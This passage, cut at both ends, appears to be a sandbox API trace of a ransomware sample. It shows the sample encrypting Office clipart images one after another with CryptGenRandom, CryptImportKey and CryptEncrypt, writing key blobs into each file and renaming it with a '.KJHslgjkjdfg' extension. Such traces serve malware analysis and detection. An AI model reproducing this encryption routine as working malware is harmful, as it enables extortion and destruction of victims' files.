lpNewFilePointer=0x0) returned 1 [0209.273] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0209.273] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0209.273] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0209.273] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.273] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x30408, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x30408, lpOverlapped=0x0) returned 1 [0209.328] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x30410, dwBufLen=0x30410 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x30410) returned 1 [0209.330] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.331] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x30410, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x30410, lpOverlapped=0x0) returned 1 [0209.331] CryptDestroyKey (hKey=0x9b6628) returned 1 [0209.331] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x304e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.331] SetEndOfFile (hFile=0x130) returned 1 [0209.335] GetProcessHeap () returned 0x990000 [0209.336] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0209.336] GetProcessHeap () returned 0x990000 [0209.336] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0209.336] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02757u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02757u.bmp.kjhslgjkjdfg")) returned 1 [0209.338] CloseHandle (hObject=0x130) returned 1 [0209.338] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7c1f400, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa7c1f400, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x307f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02758U.BMP", cAlternateFileName="")) returned 1 [0209.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02758u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0209.339] GetProcessHeap () returned 0x990000 [0209.339] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0209.339] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0209.339] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0209.339] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0209.341] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0209.341] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0209.341] GetProcessHeap () returned 0x990000 [0209.341] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0209.341] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0209.341] CryptDestroyKey (hKey=0x9b6628) returned 1 [0209.341] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0209.341] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0209.342] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0209.342] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0209.342] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0209.342] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0209.342] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0209.342] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0209.342] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.342] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x307f8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x307f8, lpOverlapped=0x0) returned 1 [0209.349] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x30800, dwBufLen=0x30800 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x30800) returned 1 [0209.351] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.352] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x30800, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x30800, lpOverlapped=0x0) returned 1 [0209.352] CryptDestroyKey (hKey=0x9b6628) returned 1 [0209.352] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x308d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.352] SetEndOfFile (hFile=0x130) returned 1 [0209.355] GetProcessHeap () returned 0x990000 [0209.355] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0209.355] GetProcessHeap () returned 0x990000 [0209.355] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0209.355] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02758u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02758u.bmp.kjhslgjkjdfg")) returned 1 [0209.357] CloseHandle (hObject=0x130) returned 1 [0209.357] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2322a600, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2322a600, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xa0d2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02759J.JPG", cAlternateFileName="")) returned 1 [0209.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02759j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0209.358] GetProcessHeap () returned 0x990000 [0209.358] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0209.359] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0209.359] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0209.359] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0209.483] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0209.483] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0209.483] GetProcessHeap () returned 0x990000 [0209.484] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0209.484] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0209.484] CryptDestroyKey (hKey=0x9b6628) returned 1 [0209.484] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0209.484] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0209.484] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0209.484] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0209.484] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0209.484] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0209.484] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0209.484] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0209.484] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.484] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa0d2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xa0d2, lpOverlapped=0x0) returned 1 [0209.493] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa0e0, dwBufLen=0xa0e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa0e0) returned 1 [0209.494] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.494] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa0e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xa0e0, lpOverlapped=0x0) returned 1 [0209.494] CryptDestroyKey (hKey=0x9b6628) returned 1 [0209.494] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa1b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.494] SetEndOfFile (hFile=0x130) returned 1 [0209.496] GetProcessHeap () returned 0x990000 [0209.496] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0209.497] GetProcessHeap () returned 0x990000 [0209.497] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0209.497] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02759j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02759j.jpg.kjhslgjkjdfg")) returned 1 [0209.499] CloseHandle (hObject=0x130) returned 1 [0209.499] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcb03b00, ftCreationTime.dwHighDateTime=0x1bd4e50, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfcb03b00, ftLastWriteTime.dwHighDateTime=0x1bd4e50, nFileSizeHigh=0x0, nFileSizeLow=0xc5d7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02810J.JPG", cAlternateFileName="")) returned 1 [0209.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02810j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0209.500] GetProcessHeap () returned 0x990000 [0209.500] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0209.500] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0209.500] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0209.500] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x9, lpOverlapped=0x0) returned 1 [0209.503] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0209.503] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0209.503] GetProcessHeap () returned 0x990000 [0209.503] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0209.503] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0209.503] CryptDestroyKey (hKey=0x9b6628) returned 1 [0209.503] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0209.503] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0209.503] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0209.503] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0209.503] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0209.504] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0209.504] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0209.504] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0209.504] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.504] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xc5d7, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xc5d7, lpOverlapped=0x0) returned 1 [0209.505] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc5e0, dwBufLen=0xc5e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc5e0) returned 1 [0209.507] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.508] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xc5e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xc5e0, lpOverlapped=0x0) returned 1 [0209.508] CryptDestroyKey (hKey=0x9b6628) returned 1 [0209.508] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc6b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.508] SetEndOfFile (hFile=0x130) returned 1 [0209.511] GetProcessHeap () returned 0x990000 [0209.511] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0209.511] GetProcessHeap () returned 0x990000 [0209.511] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0209.511] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02810j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02810j.jpg.kjhslgjkjdfg")) returned 1 [0209.514] CloseHandle (hObject=0x130) returned 1 [0209.514] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81187900, ftCreationTime.dwHighDateTime=0x1bd4c19, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81187900, ftLastWriteTime.dwHighDateTime=0x1bd4c19, nFileSizeHigh=0x0, nFileSizeLow=0xf438, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02829J.JPG", cAlternateFileName="")) returned 1 [0209.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02829j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0209.515] GetProcessHeap () returned 0x990000 [0209.515] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0209.515] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0209.515] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0209.515] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0209.518] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0209.518] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0209.518] GetProcessHeap () returned 0x990000 [0209.518] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0209.518] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0209.518] CryptDestroyKey (hKey=0x9b6628) returned 1 [0209.518] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0209.518] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0209.518] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0209.519] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0209.519] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0209.519] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0209.519] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0209.519] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0209.519] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.519] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xf438, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xf438, lpOverlapped=0x0) returned 1 [0209.521] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xf440, dwBufLen=0xf440 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xf440) returned 1 [0209.522] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.522] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xf440, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | 